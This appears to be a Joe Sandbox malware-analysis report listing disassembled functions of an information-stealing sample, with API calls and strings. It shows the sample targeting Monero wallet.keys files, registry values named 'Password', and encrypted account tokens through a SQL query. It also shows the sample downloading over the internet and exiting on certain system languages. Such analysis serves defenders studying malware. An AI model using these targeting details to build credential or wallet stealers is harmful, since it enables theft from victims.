lstrcat.KERNEL32(00000000,?), ref: 00EA44E5
lstrcat.KERNEL32(00000000,00EB0FB8), ref: 00EA44F4

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: d2de239f4ea5d91751d5e2beaadefe97e65cfbf33b8c148508d1b012c4aff37a
Instruction ID: 88f16d77bf0290e8249e01abe63488fa15dbbe57f3d910e29f4754754a9c6e84
Opcode Fuzzy Hash: d2de239f4ea5d91751d5e2beaadefe97e65cfbf33b8c148508d1b012c4aff37a
Instruction Fuzzy Hash: E4714AB6E00208A7CB14EBE4DC46FEE73B9AB8D300F045598F505A7185EB75EB45CB51

Function 00E91310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E912A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E912B4
Part of subcall function 00E912A0: RtlAllocateHeap.NTDLL(00000000), ref: 00E912BB
Part of subcall function 00E912A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E912D7
Part of subcall function 00E912A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E912F5
Part of subcall function 00E912A0: RegCloseKey.ADVAPI32(?), ref: 00E912FF

lstrcat.KERNEL32(?,00000000), ref: 00E9134F
lstrlen.KERNEL32(?), ref: 00E9135C
lstrcat.KERNEL32(?,.keys), ref: 00E91377

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EA8B60: GetSystemTime.KERNEL32(00EB0E1A,00BBEF20,00EB05AE,?,?,00E913F9,?,0000001A,00EB0E1A,00000000,?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EA8B86

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00E91465

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E999EC
Part of subcall function 00E999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E99A11
Part of subcall function 00E999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E99A31
Part of subcall function 00E999C0: ReadFile.KERNEL32(000000FF,?,00000000,00E9148F,00000000), ref: 00E99A5A
Part of subcall function 00E999C0: LocalFree.KERNEL32(00E9148F), ref: 00E99A90
Part of subcall function 00E999C0: CloseHandle.KERNEL32(000000FF), ref: 00E99A9A

DeleteFileA.KERNEL32(00000000), ref: 00E914EF

Strings

.keys, xrefs: 00E9136B
SOFTWARE\monero-project\monero-core, xrefs: 00E91335
\Monero\wallet.keys, xrefs: 00E9138D
wallet_path, xrefs: 00E91330

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: e1769148ce559a93aa790dd6b0d68420c7af2cc000cf7c377e62cad13e9284ce
Instruction ID: 7c66e8415135674d910a4e44a33ad7ab567f9f76a0328108db7d5499c1690e60
Opcode Fuzzy Hash: e1769148ce559a93aa790dd6b0d68420c7af2cc000cf7c377e62cad13e9284ce
Instruction Fuzzy Hash: 485187B1D0021997CB54FB60DC96BEE73BCAF54300F4451E8B60A76082EF346B45CBA5

Function 00E975D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E972D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E9733A
Part of subcall function 00E972D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E973B1
Part of subcall function 00E972D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E9740D
Part of subcall function 00E972D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00E97452
Part of subcall function 00E972D0: HeapFree.KERNEL32(00000000), ref: 00E97459

lstrcat.KERNEL32(00000000,00EB17FC), ref: 00E97606
lstrcat.KERNEL32(00000000,00000000), ref: 00E97648
lstrcat.KERNEL32(00000000, : ), ref: 00E9765A
lstrcat.KERNEL32(00000000,00000000), ref: 00E9768F
lstrcat.KERNEL32(00000000,00EB1804), ref: 00E976A0
lstrcat.KERNEL32(00000000,00000000), ref: 00E976D3
lstrcat.KERNEL32(00000000,00EB1808), ref: 00E976ED
task.LIBCPMTD ref: 00E976FB

Strings

: , xrefs: 00E9764E

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 95ab1ccaa1cf62f09900f4b91feeba1774562ba60825eaaf6a667f00503ba142
Instruction ID: 833ad9436689d0983466838f06ad33ee62bbecfb7ea587f5f2e8658ec6520108
Opcode Fuzzy Hash: 95ab1ccaa1cf62f09900f4b91feeba1774562ba60825eaaf6a667f00503ba142
Instruction Fuzzy Hash: 5831A372A01109DFCF18EBB4DC5ADFF73B4BB48301B205058F942B7295CA39A946CB50

Function 00E960A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E94839
Part of subcall function 00E947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E94849

InternetOpenA.WININET(00EB0DF7,00000001,00000000,00000000,00000000), ref: 00E9610F
StrCmpCA.SHLWAPI(?,00BBFCF0), ref: 00E96147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00E9618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00E961B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00E961DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E9620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00E96249
InternetCloseHandle.WININET(?), ref: 00E96253
InternetCloseHandle.WININET(00000000), ref: 00E96260

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 301a7cdbfb44dff4f2835b4408c48413751db3a8aa2f6d03202a544a7b8087ba
Instruction ID: 854ff19ae3cdd9931557d6123b3435895837a589beb71cf4679e6414616f0f19
Opcode Fuzzy Hash: 301a7cdbfb44dff4f2835b4408c48413751db3a8aa2f6d03202a544a7b8087ba
Instruction Fuzzy Hash: 1E5170B1A00208ABDF24DF60DC49BEE77B8FB44705F109099B606BB1C0DB796A85CF95

Function 00E972D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E9733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E973B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E9740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00E97452
HeapFree.KERNEL32(00000000), ref: 00E97459
task.LIBCPMTD ref: 00E97555

Strings

Password, xrefs: 00E97401

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 725580960b8c34a80187d9f3f1b4cc3e4b54955defa95e6da65b8fdd139fb5b4
Instruction ID: 54faf6b3a94f409eb8c0abecad1f3954f2124c2be50003f00c5452841910087a
Opcode Fuzzy Hash: 725580960b8c34a80187d9f3f1b4cc3e4b54955defa95e6da65b8fdd139fb5b4
Instruction Fuzzy Hash: 98613CB59142689BDF24DB50DC41BDAB7B8BF44304F0091E9E689B6141DBB06BC9CFA0

Function 00E9BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

lstrlen.KERNEL32(00000000), ref: 00E9BC9F

Part of subcall function 00EA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EA8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00E9BCCD
lstrlen.KERNEL32(00000000), ref: 00E9BDA5
lstrlen.KERNEL32(00000000), ref: 00E9BDB9

Strings

AccountTokens, xrefs: 00E9BABA
AccountId, xrefs: 00E9BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00E9BBEB
AccountTokens, xrefs: 00E9BB49

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 80e14844078be5fc4903064c1d33b6de74182436c16767428091516d46cc7257
Instruction ID: 551b5d1e9d6b3f9a84b34a646b2de1fa51f5fbd33a5234c440f3cec7e6a19b33
Opcode Fuzzy Hash: 80e14844078be5fc4903064c1d33b6de74182436c16767428091516d46cc7257
Instruction Fuzzy Hash: DAB154729102049BCF58EBA0DD56EEE73B8AF59300F455168F5077A091EF387A49CB62

Function 00EA6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00EA6774
ExitProcess.KERNEL32 ref: 00EA67A5
ExitProcess.KERNEL32 ref: 00EA67AF
ExitProcess.KERNEL32 ref: 00EA67B9
ExitProcess.KERNEL32 ref: 00EA67C3
ExitProcess.KERNEL32 ref: 00EA67CD

Strings

*, xrefs: 00EA678C

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 109fc0f7f7fe4b6067e18d65ce44db1ed75ef7f1a34ce09f06186a6aa73da3e5
Instruction ID: 5b56bd0dd1d1aa46786c3acf91d786b2ca5be74673a260982cf199b5dcaba66b
Opcode Fuzzy Hash: 109fc0f7f7fe4b6067e18d65ce44db1ed75ef7f1a34ce09f06186a6aa73da3e5
Instruction Fuzzy Hash: A7F08230A05209EFD3549FE0E90972C7B70FF0A707F080199FA4A97284DA7A5B41DF95

Function 00E94FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E94FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00E94FD1
InternetOpenA.WININET(00EB0DDF,00000000,00000000,00000000,00000000), ref: 00E94FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00E95011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00E95041
InternetCloseHandle.WININET(?), ref: 00E950B9
InternetCloseHandle.WININET(?), ref: 00E950C6

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: f2b0c353e6fb8ea51a780c0973961294559f29891868bde0828e2a24eaca2d6b
Instruction ID: bd64a2ae1cb6754aa29ba77713d494f4751cf398792d6f0788c53d911ef4678b
Opcode Fuzzy Hash: f2b0c353e6fb8ea51a780c0973961294559f29891868bde0828e2a24eaca2d6b
Instruction Fuzzy Hash: BA3104B5A00218EBDB20CF54DC85BDDB7B4FB48704F1081D9EA09B7280C7746A858F98

Function 00EA8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00BBF518,00000000,?,00EB0E2C,00000000,?,00000000), ref: 00EA8130
RtlAllocateHeap.NTDLL(00000000), ref: 00EA8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00EA8158
wsprintfA.USER32 ref: 00EA81AC

Strings

%d MB, xrefs: 00EA81A3
@, xrefs: 00EA814D

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 17d9863320f4cdf9aee91e37716f07b7bde1ac72c0f9d009035c01aada58c2a7
Instruction ID: 2cd45aaed82f6e41838152725073bd4ffef36242a03486a7a128c33e7acbfa66
Opcode Fuzzy Hash: 17d9863320f4cdf9aee91e37716f07b7bde1ac72c0f9d009035c01aada58c2a7
Instruction Fuzzy Hash: A5211AB1E44218ABDB10DFD4CD4AFAFB7B8FB49B10F104619F605BB280D77969018BA5

Function 00EA83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EA8426
wsprintfA.USER32 ref: 00EA8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00EA847B
RegCloseKey.ADVAPI32(00000000), ref: 00EA848C
RegCloseKey.ADVAPI32(00000000), ref: 00EA8499

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

RegQueryValueExA.ADVAPI32(00000000,00BBF488,00000000,000F003F,?,00000400), ref: 00EA84EC
lstrlen.KERNEL32(?), ref: 00EA8501
RegQueryValueExA.ADVAPI32(00000000,00BBF2D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00EB0B34), ref: 00EA8599
